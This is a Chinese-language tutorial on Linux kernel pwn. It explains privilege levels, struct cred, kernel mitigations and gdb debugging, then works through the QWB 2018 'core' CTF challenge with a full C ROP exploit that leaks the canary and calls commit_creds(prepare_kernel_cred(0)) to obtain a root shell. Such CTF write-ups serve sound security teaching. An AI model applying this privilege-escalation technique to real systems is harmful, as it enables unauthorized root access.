<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Linux內核pwn之基礎rop提權

    VSole2023-01-29 09:42:22

    一、基礎知識

    1. linux kernel pwn

    kernel 也是一個程序,用來管理軟件發出的數據 I/O 要求,將這些要求轉義為指令,交給 CPU 和計算機中的其他組件處理,kernel 是現代操作系統最基本的部分。

    以上便是ctf wiki原話 ,所以大家也不要太過于認為其很難,其實跟咱們用戶態就是不同而已,也可能就涉及那么些底層知識罷了(師傅輕噴,我就口嗨一下)。

    在學習攻擊手段之前可以先看看我前面環境準備和簡單驅動編寫那兩篇,可能對您有更大幫助。

    Linux kernel環境搭建—0x00
    https://www.52pojie.cn/thread-1706316-1-1.html
    Linux kernel環境搭建—0x01
    https://www.52pojie.cn/thread-1710242-1-1.html

    而kernel 最主要的功能有兩點:

    • 控制并與硬件進行交互
    • 提供 application 能運行的環境
    • 包括I/O,權限控制,系統調用,進程管理,內存管理等多項功能都可以歸結到上邊兩點中。

    需要注意的是,kernel 的crash 通常會引起重啟。(所以咱們這點調試的時候就挺不方便的了,相比于用戶態而言),不過這里也可能我剛開始學比較笨而已。

    2. Ring Model(等級制度森嚴)

    (1)intel CPU 將 CPU 的特權級別分為 4 個級別:Ring 0, Ring 1, Ring 2, Ring 3。

    (2)Ring0 只給 OS 使用,Ring 3 所有程序都可以使用,內層 Ring 可以隨便使用外層 Ring 的資源。

    (3)使用 Ring Model 是為了提升系統安全性,例如某個間諜軟件作為一個在 Ring 3 運行的用戶程序,在不通知用戶的時候打開攝像頭會被阻止,因為訪問硬件需要使用 being 驅動程序保留的 Ring 1 的方法。

    注意大多數的現代操作系統只使用了 Ring 0 和 Ring 3。

    3. syscall

    也就是系統調用,指的是用戶空間的程序向操作系統內核請求需要更高權限的服務,比如 IO 操作或者進程間通信。系統調用提供用戶程序與操作系統間的接口,部分庫函數(如scanf,puts 等 IO 相關的函數實際上是對系統調用的封裝(read 和 write))。

    4. 狀態轉換

    user space to kernel space

    當發生 系統調用,產生異常,外設產生中斷等事件時,會發生用戶態到內核態的切換,具體的過程為:

    (1)通過swapgs切換 GS 段寄存器,將 GS 寄存器值和一個特定位置的值進行交換,目的是保存 GS 值,同時將該位置的值作為內核執行時的 GS 值使用。

    (2)將當前棧頂(用戶空間棧頂)記錄在 CPU 獨占變量區域里,將 CPU 獨占區域里記錄的內核棧頂放入 rsp/esp。(這里我在調試的時候發現沒整rbp,我最開始就發現這里怎么只保存了rsp,這個問題暫時還不是很了解)

    (3)通過 push 保存各寄存器值,具體的代碼如下:


    ENTRY(entry_SYSCALL_64)/* SWAPGS_UNSAFE_STACK是一個宏,x86直接定義為swapgs指令 */SWAPGS_UNSAFE_STACK/* 保存棧值,并設置內核棧 */movq %rsp, PER_CPU_VAR(rsp_scratch)movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp/* 通過push保存寄存器值,形成一個pt_regs結構 *//* Construct struct pt_regs on stack */pushq  $ __USER_DS      /* pt_regs->ss */pushq  PER_CPU_VAR(rsp_scratch)  /* pt_regs->sp */pushq  %r11             /* pt_regs->flags */pushq  $__USER_CS      /* pt_regs->cs */pushq  %rcx             /* pt_regs->ip */pushq  %rax             /* pt_regs->orig_ax */pushq  %rdi             /* pt_regs->di */pushq  %rsi             /* pt_regs->si */pushq  %rdx             /* pt_regs->dx */pushq  %rcx tuichu    /* pt_regs->cx */pushq  $-ENOSYS        /* pt_regs->ax */pushq  %r8              /* pt_regs->r8 */pushq  %r9              /* pt_regs->r9 */pushq  %r10             /* pt_regs->r10 */pushq  %r11             /* pt_regs->r11 */sub $(6*8), %rsp      /* pt_regs->bp, bx, r12-15 not saved */
    

    (4)通過匯編指令判斷是否為 x32_abi。

    (5)通過系統調用號,跳到全局變量 sys_call_table 相應位置繼續執行系統調用。

    這里再給出保存棧的結構示意圖,這里我就引用下別的師傅的圖了。注意這是保存在內核棧中:

    5. kernel space to user space

    退出時,流程如下:

    (1)通過 swapgs 恢復 GS 值

    (2)通過 sysretq 或者 iretq 恢復到用戶控件繼續執行。如果使用 iretq 還需要給出用戶空間的一些信息(CS, eflags/rflags, esp/rsp 等)

    6. struct cred

    咱們要管理進程的權限,那么內核必定會維護一些數據結構來保存,他是用 cred 結構體記錄的,每個進程中都有一個 cred 結構,這個結構保存了該進程的權限等信息(uid,gid 等),如果能修改某個進程的 cred,那么也就修改了這個進程的權限。

    下面就是cred的數據結構源碼:

    struct cred {    atomic_t    usage;#ifdef CONFIG_DEBUG_CREDENTIALS    atomic_t    subscribers;    /* number of processes subscribed */    void        *put_addr;    unsigned    magic;#define CRED_MAGIC  0x43736564#define CRED_MAGIC_DEAD 0x44656144#endif    kuid_t      uid;        /* real UID of the task */    kgid_t      gid;        /* real GID of the task */    kuid_t      suid;       /* saved UID of the task */    kgid_t      sgid;       /* saved GID of the task */    kuid_t      euid;       /* effective UID of the task */    kgid_t      egid;       /* effective GID of the task */    kuid_t      fsuid;      /* UID for VFS ops */    kgid_t      fsgid;      /* GID for VFS ops */    unsigned    securebits; /* SUID-less security management */    kernel_cap_t    cap_inheritable; /* caps our children can inherit */    kernel_cap_t    cap_permitted;  /* caps we're permitted */    kernel_cap_t    cap_effective;  /* caps we can actually use */    kernel_cap_t    cap_bset;   /* capability bounding set */    kernel_cap_t    cap_ambient;    /* Ambient capability set */#ifdef CONFIG_KEYS    unsigned char   jit_keyring;    /* default keyring to attach requested                     * keys to */    struct key __rcu *session_keyring; /* keyring inherited over fork */    struct key  *process_keyring; /* keyring private to this process */    struct key  *thread_keyring; /* keyring private to this thread */    struct key  *request_key_auth; /* assumed request_key authority */#endif#ifdef CONFIG_SECURITY    void        *security;  /* subjective LSM security */#endif    struct user_struct *user;   /* real user ID subscription */    struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */    struct group_info *group_info;  /* supplementary groups for euid/fsgid */    struct rcu_head rcu;        /* RCU deletion hook */} __randomize_layout;
    

    基礎知識介紹完畢,咱們開始介紹咱們內核pwn的最主要的目的。

    二、目的

    借用arttnba3師傅的原話:“毫無疑問,對于內核漏洞進行利用,并最終提權到 root,在黑客界是一種最為 old school 的美學。

    咱們在內核pwn中,最重要以及最廣泛的那就是提權了,其他諸如dos攻擊等也行,但是主要是把人家服務器搞崩之類的,并沒有提權來的高效。

    1. 提權(Elevation of authority)

    所謂提權,直譯也即提升權限,是在咱們已經在得到一個shell之后,咱們進行深入攻擊的操作,那么請問如何得到一個shell呢,那就請大伙好好學習用戶模式下的pwn吧。

    而與提權息息相關的那不外乎兩個函數,不過咱們先不揭曉他們,咱們先介紹一個結構體:在內核中使用結構體 task_struct 表示一個進程,該結構體定義于內核源碼include/linux/sched.h中,代碼比較長就不在這里貼出了。

    一個進程描述符的結構應當如下圖所示:

    注意到task_struct的源碼中有如下代碼:

    /* Process credentials: */ /* Tracer's credentials at attach: */const struct cred __rcu        *ptracer_cred; /* Objective and real subjective task credentials (COW): */const struct cred __rcu        *real_cred; /* Effective (overridable) subjective task credentials (COW): */const struct cred __rcu        *cred;
    

    看到熟悉的字眼沒,對,那就是cred結構體指針。前面我們講到,一個進程的權限是由位于內核空間的cred結構體進行管理的,那么我們不難想到:只要改變一個進程的cred結構體,就能改變其執行權限。

    在內核空間有如下兩個函數,都位于kernel/cred.c中:

    • struct cred* prepare_kernel_cred(struct task_struct* daemon):該函數用以拷貝一個進程的cred結構體,并返回一個新的cred結構體,需要注意的是daemon參數應為有效的進程描述符地址或NULL,如果傳入NULL,則會返回一個root權限的cred
    • int commit_creds(struct cred *new):該函數用以將一個新的cred結構體應用到進程。所以我們最重要的目的是類似于用戶態下調用system("/bin/sh")一樣,咱們內核態就需要調用commit_creds(prepare_kernel_cred(NULL))即可達成提權功能!

    這里我們也可以看到prepare_kernel_cred()函數源碼:

    struct cred *prepare_kernel_cred(struct task_struct *daemon){    const struct cred *old;    struct cred *new;     new = kmem_cache_alloc(cred_jar, GFP_KERNEL);    if (!new)        return NULL;     kdebug("prepare_kernel_cred() alloc %p", new);     if (daemon)        old = get_task_cred(daemon);    else        old = get_cred(&init_cred);
    

    三、保護措施

    1. KASLR

    與用戶態ASLR類似,在開啟了 KASLR 的內核中,內核的代碼段基地址等地址會整體偏移。

    2. FGKASLR

    KASLR 雖然在一定程度上能夠緩解攻擊,但是若是攻擊者通過一些信息泄露漏洞獲取到內核中的某個地址,仍能夠直接得知內核加載地址偏移從而得知整個內核地址布局,因此有研究者基于 KASLR 實現了 FGKASLR,以函數粒度重新排布內核代碼。

    3. STACK PROTECTOR

    類似于用戶態程序的 canary,通常又被稱作是 stack cookie,用以檢測是否發生內核堆棧溢出,若是發生內核堆棧溢出則會產生 kernel panic

    內核中的 canary 的值通常取自 gs 段寄存器某個固定偏移處的值。

    4. SMAP/SMEP

    SMAP即管理模式訪問保護(Supervisor Mode Access Prevention),SMEP即管理模式執行保護(Supervisor Mode Execution Prevention),這兩種保護通常是同時開啟的,用以阻止內核空間直接訪問/執行用戶空間的數據,完全地將內核空間與用戶空間相分隔開,用以防范ret2usr(return-to-user,將內核空間的指令指針重定向至用戶空間上構造好的提權代碼)攻擊。

    SMEP保護的繞過有以下兩種方式:

    • 利用內核線性映射區對物理地址空間的完整映射,找到用戶空間對應頁框的內核空間地址,利用該內核地址完成對用戶空間的訪問(即一個內核空間地址與一個用戶空間地址映射到了同一個頁框上),這種攻擊手法稱為 ret2dir;
    • Intel下系統根據CR4控制寄存器的第20位標識是否開啟SMEP保護(1為開啟,0為關閉),若是能夠通過kernel ROP改變CR4寄存器的值便能夠關閉SMEP保護,完成SMEP-bypass,接下來就能夠重新進行 ret2usr,但對于開啟了 KPTI 的內核而言,內核頁表的用戶地址空間無執行權限,這使得 ret2usr 徹底成為過去式。

    四、環境利用

    首先咱們拿到個ctf題目之后,咱們一般是先解包,會發現有這些個文件:

    1.baby.ko

    baby.ko是包含漏洞的程序,一般使用ida打開分析,可以根據init文件的路徑去rootfs.cpio里面找。

    2.bzImage

    bzImage是打包的內核代碼,一般通過它抽取出vmlinx,尋找gadget也是在這里。

    3.initramfs.cpio

    initramfs.cpio是內核采用的文件系統。

    4.startvm.sh

    startvm.sh是啟動QEMU的腳本

    5.vmlinux

    靜態編譯,未壓縮的內核文件,可以在里面找ROP

    6.init文件

    在rootfs.cpio文件解壓可以看到,記錄了系統初始化時的操作,一般在文件里insmod一個內核模塊.ko文件,通常是有漏洞的文件

    7..ko文件:需要拖到IDA里面分析找漏洞的文件,也即一般的漏洞出現的文件

    ---之后咱們可以利用rootfs.cpio解壓的文件中看到init腳本,此即為加載文件系統的腳本,在一般為boot.sh或start.sh腳本中也記錄了qemu的啟動參數
    

    如何將exp送入本地調試

    我的辦法比較笨,那就是本地編譯然后放到文件系統里面在壓縮為cpio,這樣再啟動虛擬機的時候就會重新加載這個文件系統了。

    五、題目實戰

    一道十分基礎的內核pwn入門題。

    例題:強網杯2018 - core

    1.反編譯代碼分析

    文件里面包含了這幾個文件

    bzImage,core.cpio,start.sh,vmlinux

    先看看start.sh

    qemu-system-x86_64 \-m 128M \-kernel ./bzImage \-initrd  ./core.cpio \-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \-s \-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \-nographic  \
    

    可以看到咱們這兒題目采用了kaslr ,有地址隨機,所以咱們需要泄露地址,大致思路和用戶態一致。這里還注意那就是從ctfwiki上面下載下來的題目是-m 64M,這里會出現運行不了虛擬機的情況,所以咱們改為128M即可,這是內存大小的定義,太小了跑不動。

    之后咱們再看看文件系統解壓后得到的init腳本:

    #!/bin/shmount -t proc proc /procmount -t sysfs sysfs /sysmount -t devtmpfs none /dev/sbin/mdev -smkdir -p /dev/ptsmv exp.c /mount -vt devpts -o gid=4,mode=620 none /dev/ptschmod 666 /dev/ptmxcat /proc/kallsyms > /tmp/kallsymsecho 1 > /proc/sys/kernel/kptr_restrictecho 1 > /proc/sys/kernel/dmesg_restrictifconfig eth0 upudhcpc -i eth0ifconfig eth0 10.0.2.15 netmask 255.255.255.0route add default gw 10.0.2.2insmod /core.ko#setsid /bin/cttyhack setuidgid 0 /bin/sh poweroff -d 120 -f &setsid /bin/cttyhack setuidgid 1000 /bin/shecho 'sh end!'umount /procumount /sys poweroff -d 0  -f
    

    從中我們可以看到文件系統中insmod了一個core.ko,一般來講這就是漏洞函數了,還有咱們可以添加setsid /bin/cttyhack setuidgid 0 /bin/sh這一句來使得我們進入虛擬機的時候就是root權限,大伙不必驚慌,這里是因為咱們是再本地需要進行調試,所以init腳本任我們改,start腳本也是,咱們可以直接把kalsr關了也行,但關了并不代表咱們不管,咱們這一舉動主要是為了方便調試的,最終打遠程還是人家說了算,咱們值有一個exp能提交。

    接著分析init,這里還發現開始時內核符號表被復制了一份到/tmp/kalsyms中,利用這個我們可以獲得內核中所有函數的地址,還有個惡心的地方那就是這里開啟了定時關機,咱們可以把這給先注釋掉poweroff -d 120 -f &

    進入漏洞模塊的分析。

    這里可以看到有canary和NX,所以咱們通過ROP的話需要進行canary泄露。

    接下來咱們分析相關函數init_moddule:

    可以看到模塊加載的初期會創建一個名為core的進程,在虛擬機中在/proc目錄下。

    再看看比較重要的ioctl函數:

    可以看出有三個模式選擇,分別點入相關函數看

    " class="anchor" href="#

    ">

    這里的read函數就是向用戶指定的地址從off偏移地址寫入64個字節。而從ioctl中第二個case可以看到咱們居然可以設置off,所以我們可以通過設置偏移來寫入canary的值,而我們從ida中可以看到咱們的canary是位于這里。

    可以知道相差對于v5相差0x40,所以咱們設置的off也是0x40

    我們還可以來看看file_operations,(不秦楚的大伙可以看看我的上一篇環境搭建的文章),可以看到他只實現了write,ioctl,release的系統調用:

    我們再來看看其他函數,先看core_write:

    這里可以知道他總共可以向name這個地址寫入0x800個字節,心動

    我們再來看看ioctl中第三個選項的core_copy_func:

    發現他可以從name上面拷貝數據到達棧上,然后這個判斷存在著整形溢出,這里如果咱傳個負數就可以達成效果了。

    1. Kernel ROP

    既然咱們可以在棧上做手腳,那么我們就可以利用ROP的方式了,首先找幾個gadget,這里的gadget是需要在vmlinux中尋找,我的推薦是用:

    objdump -d ./vmlinux > ropgadget \cat ropgadget | grep "pop rdi; ret"
    

    這樣的類型進行尋找[/md]

    1.尋找gadget

    如圖:對于上面所說的比較關鍵的兩個函數commit_creds以及prepare_kernel_cred,我們在vmlinux中去尋找他所加載的的地址

    然后我們可以看看ropgadget文件。

    從中咱們可以看到其中即我們所需要的gadget(實際上就是linux內核鏡像所使用的匯編代碼),此時我們再通過linux自帶的grep進行搜索,個人認為還是比較好用的,用ropgadget或者是ropper來說都可以,看各位師傅的喜好來.具體使用情況如下:

    以此手法獲得兩個主要函數的地址后,此刻若咱們在exp中獲得這兩個函數的實際地址,然后將兩者相減即可得到KASLR的偏移地址。

    自此咱們繼續搜索別的gadget,我們此刻需要的gadget共有如下幾個:

    swapgs; popfq;  ret;mov rdi, rax;  call rdx;pop rdx; ret; pop rdi; ret;  pop rcx; ret;iretq
    

    師傅們可以用上述方法自行尋找。

    2. 自行構造返回狀態

    雖然咱們的提權是在內核態當中,但我們最終還是需要返回用戶態來得到一個root權限的shell,所以當我們進行棧溢出rop之后還需要利用swapgs等保存在內核棧上的寄存器值返回到應得的位置,但是如何保證返回的時候不出錯呢?

    那就只能在調用內核態的時候將即將保存的正確的寄存器值先保存在咱們自己申請的值里面,這樣就方便咱們在rop鏈結尾填入他們實現返回不報錯。既然涉及到了保存值,那我們就需要內嵌匯編代碼來實現此功能,代碼如下,這也可以視為一個通用代碼:

    size_t user_cs, user_ss,user_rflags,user_sp; //int fd = 0;        // file pointer of process 'core' void saveStatus(){  __asm__("mov user_cs, cs;"          "mov user_ss, ss;"          "mov user_sp, rsp;"          "pushf;"          "pop user_rflags;"          );  puts("\033[34m\033[1m Status has been saved . \033[0m");}
    

    大伙學到了內核pwn,那匯編功底自然不必說,我就不解釋這段代碼功能了。

    3. 攻擊思路

    現在開始咱們的攻擊思路思考,在上面介紹各個函數的時候我也稍微講了點,我們所做的事主要如下:

    1. 利用ioctl中的選項2.修改off為0x40
    2. 利用core_read,也就是ioctl中的選項1,可將局部變量v5的off偏移地址打印,經過調試可發現這里即為canary
    3. 當咱們打印了canary,現在即可進行棧溢出攻擊了,但是溢出哪個棧呢,我們發現ioctl的第三個選項中調用的函數 core_copy_func,會將bss段上的name輸入在棧上,輸入的字節數取決于咱們傳入的數字,并且此時他又整型溢出漏洞,好,就決定冤大頭是他了
    4. core.ko 所實現的系統調用write可以發現其中可以將我們傳入的值寫到bss段中的name上面,天助我也,所以咱們就可以在上面適當的構造rop鏈進行棧溢出了

    大伙看到這里是不是覺得有點奇怪,剛才不是說要泄露地址碼,這兄弟是不是講錯了,就這?大家不要慌,我這正要講解,從上面的init腳本中我們可以看到這一句:

    cat /proc/kallsyms > /tmp/kallsyms
    

    其中 /proc/kallsyms中包含了內核中所有用到的符號表,而處于用戶態的我們是不能訪問的,所以出題人貼心的將他輸出到了/tmp/kallsyms中,這就使得我們在用戶態也依然可以訪問了,所以我們還得在exp中寫一個文件遍歷的功能,當然這對于學過系統編程的同學并不在話下。

    這里貼出代碼給大伙先看看

    void get_function_address(){        FILE* sym_table = fopen("/tmp/kallsyms", "r");        // including all address of kernel functions,just like the user model running address.        if(sym_table == NULL){                printf("\033[31m\033[1m[x] Error: Cannot open file \"/tmp/kallsyms\"\033[0m");                exit(1);        }        size_t addr = 0;        char type[0x10];        char func_name[0x50];        // when the reading raises error, the function fscanf will return a zero, so that we know the file comes to its end.        while(fscanf(sym_table, "%llx%s%s", &addr, type, func_name)){                if(commit_creds && prepare_kernel_cred)                // two addresses of key functions are all found, return directly.                        return;                if(!strcmp(func_name, "commit_creds")){                // function "commit_creds" found                        commit_creds = addr;                        printf("\033[32m\033[1m[+] Note: Address of function \"commit_creds\" found: \033[0m%#llx", commit_creds);                }else if(!strcmp(func_name, "prepare_kernel_cred")){                        prepare_kernel_cred = addr;                        printf("\033[32m\033[1m[+] Note: Address of function \"prepare_kernel_cred\" found: \033[0m%#llx", prepare_kernel_cred);                }        } }
    

    當知道exp思路之后,其他的一切就簡單起來,只需要看懂他然后實現即可。

    4. gbb調試qemu中內核基本方法

    眾所周知,調試在pwn中是十分重要的,特別是動調,所以這里介紹下gdb調試內核的方法。

    由于咱們的內核是跑在qemu中,所以我們gdb需要用到遠程調試的方法,但是如果直接連端口的話會出現沒符號表不方便調試的,所以我們需要自行導入內核模塊,也就是文件提供的vmlinux,之后由于咱們還需要core.ko的符號表,所以咱們也可以通過自行導入來獲得可以,通過 add-symbol-file core.ko textaddr 加載,而這里的textaddr即為core.ko的.text段地址,我們可以通過修改init中為root權限進行設置。

    這里.text 段的地址可以通過 /sys/modules/core/section/.text 來查看,

    這里強烈建議大伙先關kaslr(通過在啟動腳本修改,就是將kaslr改為nokaslr)再進行調試,效果圖如下:

    我們可以通過-gdb tcp:port或者 -s來開啟調試端口,start.sh 中已經有了 -s,不必再自己設置。(對了如果-s ,他的功能等同于-gdb tcp:1234)

    在我們獲得.text基地址后記得用腳本來開gdb,不然每次都要輸入這么些個東西太麻煩了,腳本如下十分簡單:

    #!/bin/bashgdb -q \  -ex "" \  -ex "file ./vmlinux" \  -ex "add-symbol-file ./extract/core.ko 0xffffffffc0000000" \  -ex "b core_copy_func" \  -ex "target remote localhost:1234" \
    

    其中打斷點可以先打在core_read,這里打在core_copy_func是我調到尾聲修改的。這里還注意一個點,就是當采用pwndbg的時侯需要root權限才可以進行調試不然會出現以下錯誤:

    最開始氣死我了,人家peda都不要root,但是最開始不清楚為什么會錯,我還以為是版本問題,但想到這是我最近剛配的一臺機子又應該不是,其實最開始看到permission就該想到的。

    我們用root權限進行開調:

    可以看到十分的成功,此刻我continue,還記得咱們下的斷電碼,b core_read,如果咱們調用它后咱們就會在這里停下來,此刻我們運行咱們的程序試試:

    這樣咱們就可以愉快的進行調試啦,至此gdb調試內核基本方法到此結束~~~

    5. ROP鏈解析

    這里簡單講講,直接給圖:

    相信大家理解起來不費力。

    6. exp

    本次exp如下,大伙看看:

    #include #include #include #include #include #include #include #include  size_t commit_creds = NULL, prepare_kernel_cred = NULL;        // address of to key function#define SWAPGS_POPFQ_RET 0xffffffff81a012da#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a#define POP_RDX_RET 0xffffffff810a0f49#define POP_RDI_RET 0xffffffff81000b2f #define POP_RCX_RET 0xffffffff81021e53#define IRETQ 0xffffffff81050ac2size_t user_cs, user_ss,user_rflags,user_sp; //int fd = 0;        // file pointer of process 'core' /*void saveStatus();void get_function_address();#void core_read(int fd, char* buf);void change_off(int fd, long long off);void core_copy_func(int fd, long long nbytes);void print_binary(char* buf, int length);void shell();*/void saveStatus(){  __asm__("mov user_cs, cs;"          "mov user_ss, ss;"          "mov user_sp, rsp;"          "pushf;"          "pop user_rflags;"          );  puts("\033[34m\033[1m Status has been saved . \033[0m");} void core_read(int fd, char *addr){  printf("try read");  ioctl(fd,0x6677889B,addr);  printf("read done!");} void change_off(int fd, long long off){  printf("try set off ");  ioctl(fd,0x6677889C,off);} void core_copy_func(int fd, long long nbytes){  puts("try cp");  ioctl(fd,0x6677889A,nbytes);} void get_function_address(){        FILE* sym_table = fopen("/tmp/kallsyms", "r");        // including all address of kernel functions,just like the user model running address.        if(sym_table == NULL){                printf("\033[31m\033[1m[x] Error: Cannot open file \"/tmp/kallsyms\"\033[0m");                exit(1);        }        size_t addr = 0;        char type[0x10];        char func_name[0x50];        // when the reading raises error, the function fscanf will return a zero, so that we know the file comes to its end.        while(fscanf(sym_table, "%llx%s%s", &addr, type, func_name)){                if(commit_creds && prepare_kernel_cred)                // two addresses of key functions are all found, return directly.                        return;                if(!strcmp(func_name, "commit_creds")){                // function "commit_creds" found                        commit_creds = addr;                        printf("\033[32m\033[1m[+] Note: Address of function \"commit_creds\" found: \033[0m%#llx", commit_creds);                }else if(!strcmp(func_name, "prepare_kernel_cred")){                        prepare_kernel_cred = addr;                        printf("\033[32m\033[1m[+] Note: Address of function \"prepare_kernel_cred\" found: \033[0m%#llx", prepare_kernel_cred);                }        }}  void shell(){        if(getuid()){                printf("\033[31m\033[1m[x] Error: Failed to get root, exiting......\033[0m");                exit(1);        }        printf("\033[32m\033[1m[+] Getting the root......\033[0m");        system("/bin/sh");        exit(0);} int main(){  saveStatus();  int fd = open("/proc/core",2);              //get the process fd  if(!fd){                printf("\033[31m\033[1m[x] Error: Cannot open process \"core\"\033[0m");                exit(1);        }  char buffer[0x100] = {0};        get_function_address();                // get addresses of two key function  ssize_t vmlinux = commit_creds - commit_creds;            //base address  printf("vmlinux_base = %x",vmlinux);  //get canary  size_t canary;  change_off(fd,0x40);  //getchar();   core_read(fd,buffer);  canary = ((size_t *)buffer)[0];  printf("canary ==> %p",canary);  //build the ROP  size_t rop_chain[0x1000] ,i= 0;  printf("construct the chain");  for(i=0; i< 10 ;i++){    rop_chain[i] = canary;  }  rop_chain[i++] = POP_RDI_RET + vmlinux ;  rop_chain[i++] = 0;  rop_chain[i++] = prepare_kernel_cred ;          //prepare_kernel_cred(0)  rop_chain[i++] = POP_RDX_RET + vmlinux;  rop_chain[i++] = POP_RCX_RET + vmlinux;  rop_chain[i++] = MOV_RDI_RAX_CALL_RDX + vmlinux;  rop_chain[i++] = commit_creds ;  rop_chain[i++] = SWAPGS_POPFQ_RET + vmlinux;  rop_chain[i++] = 0;  rop_chain[i++] = IRETQ + vmlinux;  rop_chain[i++] = (size_t)shell;  rop_chain[i++] = user_cs;  rop_chain[i++] = user_rflags;  rop_chain[i++] = user_sp;  rop_chain[i++] = user_ss;  write(fd,rop_chain,0x800);  core_copy_func(fd,0xffffffffffff0100);}
    

    7. 編譯運行

    這里有個小知識,那就是在被攻擊的內核中一般不會給你庫函數,所以咱們需要用gcc中的-static參數進行靜態鏈接,然后就是為了支持內嵌匯編代碼,所以我們需要使用-masm=intel,這里intel也可以換amd,看各位匯編語言用的啥來進行修改,我這里用的把保存狀態代碼是intel支持的。

    gcc test.c -o test -static -masm=intel -g
    

    將此編譯得到的二進制文件打包近文件系統然后重新啟動,情況如圖:

    成功提權!

    為了學這一個題目所需要的知識還是費了點功夫的,需要對于驅動等環境的理解然后就是遇到困難之后靜下心尋找問題的耐心,還有最重要的一點就是細心,就因為最后一個sp錯寫成ss導致一直打不通。

    linux系統進程間通信
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    前言 由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,文章作者不為此承擔任何責任。 如果文章中的漏洞出現敏感內容產生了部分影響,請及時聯系作者,望諒解。
    本文章盤點了 Linux 運維必備 150 個命令,請配合下面的網站使用。定位你需要使用的命令,然后去這個網站查詢詳細用法即可。 地址:wangchujiang.com/linux-command/
    特權模式逃逸和掛載目錄逃逸是最常見的逃逸手法。 特權模式逃逸,也就是熟知的--privileged選項啟動后容器不受seccomp等機制的的限制,常見利用就是掛載根目錄或利用docker.sock創建惡意容器。 而基于容器特權模式逃逸也分不同特權情況,本文總結常見特權模式下不同Capabilities常見對應的攻擊手法。
    攻擊者已經增加了對Linux系統的目標攻擊,并且像LaZagne(一種流行的開源密碼恢復工具)這樣的hacktool實用程序的易于訪問性使得攻擊者在惡意軟件攻擊鏈中使用它來轉儲密碼變得越來越方便。
    長久以來,網絡攻擊者一直都在積極探索和實現針對Linux操作系統的定向攻擊,而LaZagne(一種流行的開源密碼恢復工具)等實用工具的易訪問性,使得威脅行為者在惡意軟件攻擊鏈中使用它們來轉儲密碼時變得越來越方便了。
    vsomeip 是 GENIVI 實現的開源 SOME/IP 庫,由 C++ 編寫,目前主要實現了 SOME/IP 的通信和服務發現功能,并在此基礎上增加了少許的安全機制。 GENIVI是一個聯盟組織,由 BMW 倡導,是汽車信息娛樂領域系統軟件標準的倡導者,創建基于linux 系統的 IVI 軟件平臺和操作系統。GENIVI 倡導了很多開源軟件項目,比如:DLT、CommonAPI C++、v
    關于漏洞的基礎知識
    2022-07-20 09:44:23
    黑客可以通過修改事件完成的順序來改變應用的行為。所以,進行有效的驗證是安全處理文件的重要保證。這種類型的漏洞有可能是編程人員在編寫程序時,因為程序的邏輯設計不合理或者錯誤而造成的程序邏輯漏洞。這種類型的漏洞最典型的是緩沖區溢出漏洞,它也是被黑客利用得最多的一種類型的漏洞。
    一、Docker逃逸 1、docker daemon api未授權訪問 漏洞原理:在使用docker swarm的時候,節點上會開放一個TCP端口2375,綁定在0.0.0.0上,如果我們使用HTTP的方式訪問會返回404 利用思路:通過掛在宿主機的目錄,寫定時任務獲取SHELL,從而逃逸。
    必修漏洞,就是必須修復、不可拖延的高危漏洞,不修復就意味著被黑客攻擊入侵后會造成十分嚴重的后果。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类